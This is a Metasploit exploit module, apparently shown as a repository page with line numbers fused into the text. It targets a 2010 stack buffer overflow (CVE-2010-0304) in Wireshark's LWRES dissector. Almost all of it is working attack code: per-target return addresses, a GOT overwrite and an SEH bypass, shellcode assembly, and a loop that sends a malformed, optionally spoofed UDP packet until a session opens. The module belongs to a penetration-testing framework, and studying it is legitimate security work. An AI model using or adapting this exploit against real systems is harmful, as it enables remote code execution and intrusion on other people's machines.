Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh10include Msf::Exploit::Capture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',17'Description' => %q{18The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through191.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer20overflow. This bug found and reported by babi.2122This particular exploit targets the dissect_getaddrsbyname_request function. Several23other functions also contain potentially exploitable stack-based buffer overflows.2425The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents26exploitation via the return address on the stack. Sending a larger string allows27exploitation using the SEH bypass method. However, this packet will usually get28fragmented, which may cause additional complications.2930NOTE: The vulnerable code is reached only when the packet dissection is rendered.31If the packet is fragmented, all fragments must be captured and reassembled to32exploit this issue.3334This version loops, sending the packet every X seconds until the job is killed.35},36'Author' => [37'babi', # original discovery/exploit38'jduck', # ported from public exploit39'redsand' # windows target/testing40],41'License' => MSF_LICENSE,42'References' => [43[ 'CVE', '2010-0304' ],44[ 'OSVDB', '61987' ],45[ 'BID', '37985' ],46[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],47[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]48],49'DefaultOptions' => {50'EXITFUNC' => 'process',51},52'Privileged' => true, # at least capture privilege53'Payload' => {54'Space' => 512,55'BadChars' => "\x00",56'DisableNops' => true,57},58'DefaultTarget' => 4,59'Platform' => %w{linux osx win},60'Targets' => [61[62'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',63# breakpoint: lwres.so + 0x2ce264{65'Arch' => ARCH_X86,66'Platform' => 'linux',67# conveniently, edx pointed at our string..68# and so, we write it to g_slist_append's GOT entry just before its called.69# pwnt.70#71# mov [ebx+0xc],edx / jmp 0x804fc40 -->72# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append73#74'Ret' => 0x804fc85, # see above..75'RetOff' => 376,76'Readable' => 0x804fa04, # just anything77'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append78}79],80[81'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',82{83'Arch' => ARCH_X86,84'Platform' => 'linux',85# the method for tshark doesn't work, since there aren't any convenient86# pointers lying around (in reg/close on stack)87#88# since the wireshark bin has a jmp esp, we'll just use that method..89'Ret' => 0x818fce8, # jmp esp in wireshark bin90'RetOff' => 376,91'Readable' => 0x8066a40, # just any old readable addr (unused)92'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)93}94],9596[97'wireshark 1.2.5 on RHEL 5.4 (x64)',98{99'Arch' => ARCH_X64,100'Platform' => 'linux',101'Ret' => 0xfeedfed5deadbeef,102'RetOff' => 152,103}104],105106[107'wireshark 1.2.5 on Mac OS X 10.5 (x86)',108{109'Arch' => ARCH_X86,110'Platform' => 'osx',111'Ret' => 0xdeadbeef,112'RetOff' => 268,113}114],115116# The following target was tested against Windows XP SP3 and Windows Vista117[118'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',119{120'Arch' => ARCH_X86,121'Platform' => 'win',122# NOTE: due to the length of this packet, your mileage may vary.123'Ret' => 0x61B4121B,124# 0x655810b6 = pop/pop/ret in libpango125# 0x02A110B6 = pop/pop/ret in libgtk-w126# 0x03D710CC = pop/mov/pop/ret in packet127# 0x61B4121B = pop/pop/ret in pcre3128'RetOff' => 2128,129}130],131],132'DisclosureDate' => '2010-01-27',133# Set it to passive mode to background it.134'Stance' => Msf::Exploit::Stance::Passive,135'Notes' => {136'Reliability' => UNKNOWN_RELIABILITY,137'Stability' => UNKNOWN_STABILITY,138'SideEffects' => UNKNOWN_SIDE_EFFECTS139}140)141)142143register_options([144Opt::RPORT(921),145Opt::RHOST("239.255.255.250"),146OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),147OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5])148])149150register_advanced_options([151OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])152])153154deregister_options('FILTER', 'PCAPFILE')155end156157def exploit158check_pcaprub_loaded # Check first159160ret_offset = target['RetOff']161162# we have different techniques depending on the target163if (target == targets[0])164# debian tshark165str = make_nops(ret_offset - payload.encoded.length - 16)166str << payload.encoded167str << [target['GotAddr'] - 0xc].pack('V')168str << rand_text(4)169str << [target['Readable']].pack('V')170str << rand_text(4)171# ret is next172elsif (target == targets[1])173fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string174str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)175str << fix_esp176str << payload.encoded177# jmp esp...178str << [target.ret].pack('V')179# jump back180distance = ret_offset + 4181str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string182elsif (target == targets[4])183# ugh, /GS and UDP length issues :-/184str = make_nops(ret_offset - payload.encoded.length)185str << payload.encoded186str << generate_seh_record(target.ret)187# jump back188distance = ret_offset + 8189str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string190else191# this is just a simple DoS payload192str = Rex::Text.pattern_create(ret_offset)193# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string194end195196# add return address197# XXX: this isn't working?198# str << Rex::Arch.pack_addr(target.arch, target.ret)199str << [target.ret].pack('V')200201# form the packet's payload!202sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"203sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"204sploit << "\x00\x00\x00\x01"205sploit << [str.length].pack('n')206sploit << str207sploit << "\x00\x00"208209shost = datastore['SHOST']210if (shost)211print_status("Sending malformed LWRES packet (spoofed from #{shost})")212open_pcap213214p = PacketFu::UDPPacket.new215p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)216p.ip_daddr = rhost217p.udp_sport = rand((2**16) - 1024) + 1024218p.udp_dport = datastore['RPORT'].to_i219p.payload = sploit220p.recalc221222while true223break if session_created? and datastore['ExitOnSession']224break unless capture_sendto(p, rhost)225226select(nil, nil, nil, datastore['DELAY'])227end228229close_pcap230231handler232else233print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")234235handler236237while true238break if session_created? and datastore['ExitOnSession']239240connect_udp241udp_sock.put(sploit)242disconnect_udp243select(nil, nil, nil, datastore['DELAY'])244end245end246end247end248249250